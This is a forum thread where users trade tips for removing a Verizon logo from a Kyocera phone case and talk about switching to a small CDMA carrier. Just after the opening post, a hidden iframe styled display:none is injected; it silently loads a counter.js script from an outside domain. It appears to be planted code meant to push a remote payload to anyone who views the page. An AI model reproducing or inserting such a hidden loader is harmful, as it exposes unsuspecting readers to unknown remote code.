    Getting rid of silk Verizon Logo on Outside case????

    I am having to leave Verizon for a cheaper carieer due to work restrictions. Would like to have the phone be my phone not Verizon. How do I get this darn silk Verizon Logo sticker off the outside case of the phone? Ideas?<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

    Not that I would try this, but Nail Polish removed gets anything off. (NO comments from the peanut gallery on this one).

    skicheer said, approximately:

    > Nail Polish remover removes anything

    That's essentially acetone with a bunch of perfumes and oils added. You might want to try a drop of it on an inconspicuous area of the case first; the "anything" it can remove just might include the plastic.

    What kind of plastic is it, anyway? Polycarbonate?

    You might try turpentine which may not remove "everything" but it will remove gum and sticky substances including glue without harning metal. I'll take the necessary precaution nonetheless with a small spot and work your way to un-branding.

    I agree with the goofoff stuff, and I would try it on the inside of the battery cover first to make sure it will not eat the plastic

    Can't tell, but it looks like where the logo is on the fron is a different material than the rest of the phone...perhaps a metal, maybe just a different color of plastic...

    If you aren'y going to use Verizon for the phone, who are you going to use as a carrier? Sprint won't take it (offically), and Alltel has limited coverage area...

    SureWest Wireless - www.surewest.com

    Small time CDMA carrier in my area. Unlimited calls for $33 a month. No real data network though.

    Fascinating! They have an open CDMA system if you "own" your phone?

    Yes. They will do everything they can to put your phone on their network. As long as it has the compatible tech specs shouldn't be a problem. They have sold the Kyo 6035 and 5135 in the past. They are researching the 7135 for me, but say it should not be a problem. I know that darn verizon logo will bug me after a while though and am looking to find a new home in the garbage for it. Hee hee...

    Well, if they can support the 6035 they should have no problems with the 7135. Also you may want to remove the carrierlogo at phone start up too... I'd just be carefull removing the logo from the front of the phone. The coated aluminium could be suseptable to staining or maring if you use acetone or other similar remover.

    For what it is worth, and silly maybe...

    But Kyocera tech support or cust service might have an answer on the type of material or possible removal techniques?

    2-cents...

    :p

    a possibility

    maybe baby oil might take it off? It *probably* won't hurt the surface underneath, but I'm not sure. Another possibility would be to color match the front and paint or stain it, or put a decal or sticker over it. Not exactly removing it, but it will at least cover it.

    i went a step too far!

    i used a tarnish remover and went deep into the metal.

    now it has a rough brushed metal look.

    i need to finish the job with a dremmel machine.

    sorry, i dont have a dig camera at the moment.
